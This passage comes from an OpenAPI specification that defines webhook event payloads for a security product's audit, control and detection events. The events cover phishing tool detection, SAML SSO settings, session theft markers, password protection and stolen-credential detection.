            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  phishing-tool-detection-ignored-domains-removed:
    post:
      summary: Phishing tool detection ignored domains removed
      description: >-
        A set of domains have been removed from the list of ignored domains for
        the Phishing tool detection feature.
      operationId: phishing-tool-detection-ignored-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed ignored domains
                object:
                  type: string
                  enum:
                    - PHISHING_TOOL_DETECTION_IGNORED_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Phishing Tool Detection ignored domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  protected-password-entered:
    post:
      summary: Protected password entered
      operationId: protected-password-entered-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A protected password entered event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com entered their Microsoft 365 password into a
                    different URL, but was blocked
                object:
                  type: string
                  enum:
                    - PROTECTED_PASSWORD_ENTERED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Protected password entered
                new:
                  $ref: '#/components/schemas/ProtectedPasswordEnteredEvent'
                  description: Protected password entered event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - Password Protection
  reused-password-finding-exceptions-updated:
    post:
      summary: Reused password exceptions updated
      description: The reused password exceptions list has been updated
      operationId: reused-password-exceptions-updated
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com has updated the apps where reused passwords
                    are not raised.
                object:
                  type: string
                  enum:
                    - REUSED_PASSWORD_EXCEPTIONS_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Reused password exceptions updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that set the reused
                    password exceptions.
                new:
                  type: object
                  properties:
                    exceptions:
                      type: array
                      items:
                        type: string
                      description: >-
                        A list of the apps that will not raise reused password
                        findings.
                  required:
                    - exceptions
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  saml-sso-added-event:
    post:
      summary: SAML SSO added
      description: A SAML SSO connection has been added.
      operationId: saml-sso-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    john.hill@example.com generated an integration link for SAML
                    SSO
                object:
                  type: string
                  enum:
                    - SAML_SSO_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SAML SSO added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  saml-sso-completed-event:
    post:
      summary: SAML SSO completed
      description: A SAML SSO connection has been successfully setup and enabled.
      operationId: saml-sso-completed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SAML SSO connection completed
                object:
                  type: string
                  enum:
                    - SAML_SSO_COMPLETED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SAML SSO completed
              required:
                - version
                - id
                - timestamp
                - category
                - object
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  saml-sso-default-role-updated-event:
    post:
      summary: SAML SSO default role updated
      description: An admin updated the SAML SSO default role.
      operationId: saml-sso-default-role-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example updated the default role for SAML users to Full
                    Access
                object:
                  type: string
                  enum:
                    - SAML_SSO_DEFAULT_ROLE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SAML SSO default role updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    role:
                      $ref: '#/components/schemas/RoleType'
                  required:
                    - role
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  session-theft-domains-added:
    post:
      summary: Session theft domains added
      description: >-
        A set of domains have been added to the list of domains in which the
        session theft marker is injected.
      operationId: session-theft-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example added session theft domains
                object:
                  type: string
                  enum:
                    - SESSION_THEFT_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Session theft domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  session-theft-domains-removed:
    post:
      summary: Session theft domains removed
      description: >-
        A set of domains have been removed from the list of domains in which the
        session theft marker is injected.
      operationId: session-theft-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example removed session theft domains
                object:
                  type: string
                  enum:
                    - SESSION_THEFT_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Session theft domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  session-theft-marker-rotated:
    post:
      summary: Session theft marker rotated
      description: An admin user has rotated the session theft marker.
      operationId: session-theft-marker-rotated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example rotated the session theft marker
                object:
                  type: string
                  enum:
                    - SESSION_THEFT_MARKER_ROTATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Session theft marker rotated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that rotated the marker.
                new:
                  type: object
                  properties:
                    marker:
                      type: string
                      description: The new value for the session theft marker.
                  required:
                    - marker
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  sso-password-protection-ignored-domains-added:
    post:
      summary: SSO password protection ignored domains added
      deprecated: true
      description: >-
        A set of domains have been added to the list of ignored domains for the
        SSO password protection feature.
      operationId: sso-password-protection-ignored-domains-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added ignored domains
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_PROTECTION_IGNORED_DOMAINS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection ignored domains added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that added the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the added domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  sso-password-protection-ignored-domains-removed:
    post:
      summary: SSO password protection ignored domains removed
      deprecated: true
      description: >-
        A set of domains have been removed from the list of ignored domains for
        the SSO password protection feature.
      operationId: sso-password-protection-ignored-domains-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed ignored domains
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_PROTECTION_IGNORED_DOMAINS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection ignored domains removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that removed the domains.
                new:
                  type: object
                  properties:
                    domains:
                      type: array
                      items:
                        type: string
                      description: A list of the removed domains.
                  required:
                    - domains
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  sso-password-protection-ignore-work-apps-toggled:
    post:
      summary: SSO password protection ignore work apps toggled
      deprecated: true
      description: >-
        An admin user has toggled the "Ignore work apps" setting of the SSO
        password protection feature.
      operationId: sso-password-protection-ignore-work-apps-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com set ignore work apps to true
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_PROTECTION_IGNORE_WORK_APPS_TOGGLED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection ignore work apps toggled
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that toggled the setting.
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: >-
                        Whether the "Ignore work apps" setting is enabled or
                        not.
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  sso-password-protection-mode-updated:
    post:
      summary: SSO password protection mode updated
      deprecated: true
      description: >-
        An admin user has updated the mode of the SSO password protection
        feature.
      operationId: sso-password-protection-mode-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com set the mode to warn
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_PROTECTION_MODE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection mode updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that updated the mode.
                new:
                  type: object
                  properties:
                    mode:
                      type: string
                      description: >-
                        The current mode for the SSO Password Protection
                        feature.
                  required:
                    - mode
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  sso-password-protection-page-updated:
    post:
      summary: SSO password protection page updated
      deprecated: true
      description: >-
        An admin user has updated the page settings of the SSO password
        protection feature.
      operationId: sso-password-protection-page-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the message to employees
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_PROTECTION_PAGE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection page updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that updated the page
                    settings.
                new:
                  type: object
                  properties:
                    title:
                      type: string
                      description: The title of the page shown to users.
                    subtext:
                      type: string
                      description: The subtext of the page shown to users.
                    ignoreButtonText:
                      type: string
                      description: The text of the button that allows users to proceed.
                  required:
                    - title
                    - subtext
                    - ignoreButtonText
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  sso-password-protection-url-masking-toggled-event:
    post:
      summary: SSO password protection URL masking toggled
      deprecated: true
      description: An admin user has toggled the password protection URL masking setting.
      operationId: sso-password-protection-url-masking-toggled-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection URL masking enabled
                object:
                  type: string
                  enum:
                    - SSO_PASSWORD_PROTECTION_URL_MASKING
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: SSO password protection URL masking
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the admin user that toggled the setting.
                new:
                  type: object
                  properties:
                    enabled:
                      type: boolean
                      description: Whether the hide URLs setting is enabled or not.
                  required:
                    - enabled
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  stolen-credentials-added:
    post:
      summary: Stolen credentials added
      description: A set of stolen credentials have been added.
      operationId: stolen-credentials-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com added new stolen credentials
                object:
                  type: string
                  enum:
                    - STOLEN_CREDENTIALS_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Stolen credentials added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActorAPI'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    count:
                      type: integer
                      description: The number of stolen credentials added.
                      example: 10
                  required:
                    - count
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  stolen-credentials-detected:
    post:
      summary: Stolen credentials detected
      operationId: stolen-credentials-detected
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A stolen credentials event occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    Stolen credentials detected on user@example.com's Google
                    Workspace account
                object:
                  type: string
                  enum:
                    - STOLEN_CREDENTIALS_DETECTED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Stolen credentials detected
                new:
                  $ref: '#/components/schemas/StolenCredentialsEvent'
                  description: Stolen credentials event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Controls
        - Stolen credentials detected
  stolen-credentials-detection:
    post:
      summary: Stolen credentials detection
      operationId: stolen-credentials-detection-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: A stolen credentials detection occurred.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - DETECTION
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com triggered a new stolen credentials
                    detection
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                object:
                  type: string
                  description: The object that was created.
                  example: STOLEN_CREDENTIALS
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Stolen credentials
                new:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: The new state of the event details.
                old:
                  $ref: '#/components/schemas/DetectionEvent'
                  description: >-
                    The previous state of the event details. This is `null` when
                    the event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Detections
  stolen-credentials-removed:
    post:
      summary: Stolen credentials removed
      description: A set of stolen credentials have been removed.
      operationId: stolen-credentials-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed stolen credentials
                object:
                  type: string
                  enum:
                    - STOLEN_CREDENTIALS_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Stolen credentials removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActorAPI'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    count:
                      type: integer
                      description: The number of stolen credentials removed.
                      example: 10
                  required:
                    - count
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  stolen-credentials-mode-updated:
    post:
      summary: Stolen credentials mode updated
      description: An admin user has updated the mode of the stolen credentials feature.
      operationId: stolen-credentials-mode-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
